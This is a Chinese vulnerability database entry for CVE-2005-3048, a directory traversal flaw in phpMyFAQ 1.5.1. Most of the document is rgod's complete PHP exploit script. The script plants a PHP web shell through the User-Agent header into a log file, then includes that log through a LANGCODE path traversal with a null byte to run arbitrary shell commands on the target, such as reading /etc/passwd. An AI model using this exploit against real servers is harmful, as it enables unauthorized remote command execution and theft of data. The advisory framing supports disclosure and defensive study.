PhpMyFaq index.php目录遍历漏洞

漏洞ID	1109089	漏洞类型	路径遍历
发布时间	2005-09-23	更新时间	2005-09-23
CVE编号	CVE-2005-3048	CNNVD-ID	CNNVD-200509-244
漏洞平台	PHP	CVSS评分	6.4

|漏洞来源

https://www.exploit-db.com/exploits/1226
https://www.securityfocus.com/bid/89297
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200509-244

|漏洞详情

phpMyFAQ是一个多语言，完全数据库驱动的FAQ系统。它支持多种数据库来存储所有数据。PhpMyFaq1.5.1的index.php脚本中存在目录遍历漏洞，远程攻击者可以通过LANGCODE参数中的”..”(参数中包含’..’)读取任意文件或包含任意PHP文件，并且，通过请求数据包中的UserAgent字段可以实现直接代码注入。使用LANGCODE激活此功能用以查阅用户跟踪数据文件。

|漏洞EXP

<?php
#   17.34 22/09/2005                                                           #
#                                                                              #
#   phpmyfaq_xpl.php                                                           #
#                                                                              #
#   PhpMyFaq 1.5.1 ( possibly prior versions) shell inject                     #
#                                                                              #
#                                by rgod                                       #
#                      site: http://rgod.altervista.org                        #
#                                                                              #
#   make these changes in your php.ini if you have troubles                    #
#   to launch this script:                                                     #
#   allow_call_time_pass_reference = on                                        #
#   register_globals = on                                                      #
#                                                                              #
#   usage: launch this script from Apache, fill requested fields, then         #
#   if magic_quotes_gpc is off, boom! you launch commands...                   #
#                                                                              #
#   Sun-tzu: "When in difficult country, do not encamp. In country where high  #
#   roads intersect, join hands with your allies. Do not linger in dangerously #
#   isolated positions. In hemmed-in situations, you must resort to stratagem. #
#   In desperate position, you must fight."                                    #

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);

echo'<head> <title> PhpMyFAQ 1.5.1  remote  commands  execution  </title> <meta
http-equiv="Content-Type"  content="text/html; charset=iso-8859-1"> <style type=
"text/css"> <!-- body,td,th {color:  #00FF00;} body {background-color: #000000;}
.Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif; font-size: 10px; }
.Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-weight:  bold;
font-style: italic; } --> </style></head> <body> <p class="Stile6">     PhpMyFAQ
V  1.5.1 (possibly prior versions) remote commands execution  </p><p class="Stil
e6">a script by rgod at <a href="http://rgod.altervista.org"    target="_blank">
http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%"> <form
name="form1"      method="post"   action="'.$SERVER[PHP_SELF].'?path=value&host=
value&port=value&command=value&proxy=value"><p><input type="text"   name="host">
<span class="Stile5">  hostname  (ex: www.sitename.com)  </span>  </p> <p><input
type="text" name="path"><span class="Stile5">  path ( ex:  /phpmyfaq/ or just /)
</span></p><p><input type="text"   name="port" >   <span class="Stile5"> specify
a port other than 80 (default value)  </span></p><p> <input  type="text"   name=
"command"> <span  class="Stile5"> a  Unix  command  ,  example:  ls -la  to list
directories, cat /etc/passwd to show passwd file </span></p><p><input type="text
" name="proxy"> <span class="Stile5"> send exploit through an HTTP proxy (ip:por
t</span></p> <p> <input  type="submit"name="Submit" value="go!"></p></form></td>
</tr></table></body></html>';

function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
             $ji=0;
             $ci++;
             echo "<td>  </td>";
             for ($li=0; $li<=15; $li++)
                      { echo "<td>".$headeri[$li+$ki]."</td>";
			    }
            $ki=$ki+16;
            echo "</tr><tr>";
            }
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
                      { echo "<td>&nbsp&nbsp</td>";
                       }

for ($li=$ci*16; $li<=strlen($headeri); $li++)
                      { echo "<td>".$headeri[$li]."</td>";
			    }
echo "</tr></table>";
}

$proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)';

function sendpacket($packet)
{
global $proxy, $host, $port, $html;
if ($proxy=='')
           {$ock=fsockopen(gethostbyname($host),$port);}
             else
           {
	    if (!eregi($proxy_regex,$proxy))
	    {echo htmlentities($proxy).' -> not a valid proxy...';
	     die;
	    }
	   $parts=explode(':',$proxy);
	    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
	    $ock=fsockopen($parts[0],$parts[1]);
	    if (!$ock) { echo 'No response from proxy...';
			die;
		       }
	   }
fputs($ock,$packet);
if ($proxy=='')
  {

    $html='';
    while (!feof($ock))
      {
        $html.=fgets($ock);
      }
  }
else
  {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
    {
      $html.=fread($ock,1);
    }
  }
fclose($ock);
echo nl2br(htmlentities($html));
}

if (($path<>'') and ($host<>'') and ($command<>''))
{
  if ($port=='') {$port=80;}

# STEP 1 -> Shell Inject...
if ($proxy=='')
{$packet="GET ".$path."index.php?sid=49493&lang=it&action=ask HTTP/1.0 rn";}
else
{$packet="GET http://".$host.$path."index.php?sid=49493&lang=it&action=ask HTTP/1.0 rn";}

$packet.='User-Agent: <?php system($HTTP_GET_VARS[cmd]) ?><?php die ?>'."rn";
//you cannot insert ";" because it is stripped, so insert more statements
//if you change the shell, keep attemption to php syntax, if you make an error,
//you cannot lauch commands till tomorrow, I am not joking ;)

$packet.="Accept-Language: plrn";
$packet.="Referer: http://".$host.$path."rn";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*rn";
$packet.="Accept-Encoding: gzip,deflatern";
$packet.="Host: ".$host."rnrn";
$packet.="Connection: Closern";
$packet.="Cookie: lang=it; sid=49493rn";
show($packet);
sendpacket($packet);

# STEP 2 -> Include the log file and launch commands...
if ($proxy=='')
{$packet="GET ".$path."index.php?cmd=".urlencode($command)."&LANGCODE=/../../data/tracking".date("dmY")."%00 HTTP/1.0 rn";}
else
{$packet="GET http://".$host.$path."index.php?cmd=".urlencode($command)."&LANGCODE=/../../data/tracking".date("dmY")."%00 HTTP/1.0 rn";}
$packet.='User-Agent: Mozilla/5.0 (compatible; Konqueror/3.4; Linux) KHTML/3.4.2 (like Gecko)'."rn";
$packet.="Accept-Language: frrn";
$packet.="Referer: http://".$host.$path."rn";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*rn";
$packet.="Accept-Encoding: gzip,deflatern";
$packet.="Host: ".$host."rnrn";
$packet.="Connection: Closern";
$packet.="Cookie: lang=it; sid=49493rn";
show($packet);
sendpacket($packet);
}
else
{
echo '<br>fill in requested fields, optionally specify a proxy...<br><br>';
}
?>

# milw0rm.com [2005-09-23]

|受影响的产品

phpMyFAQ phpMyFAQ 1.5.1

|参考资料

来源:MISC
链接:http://rgod.altervista.org/phpmyfuck151.html
来源:OSVDB
名称:19672
链接:http://www.osvdb.org/19672
来源:BUGTRAQ
名称:20050922PhpMyFAQ1.5.1multiplevulnerabilities
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=112749230124091&w;=2

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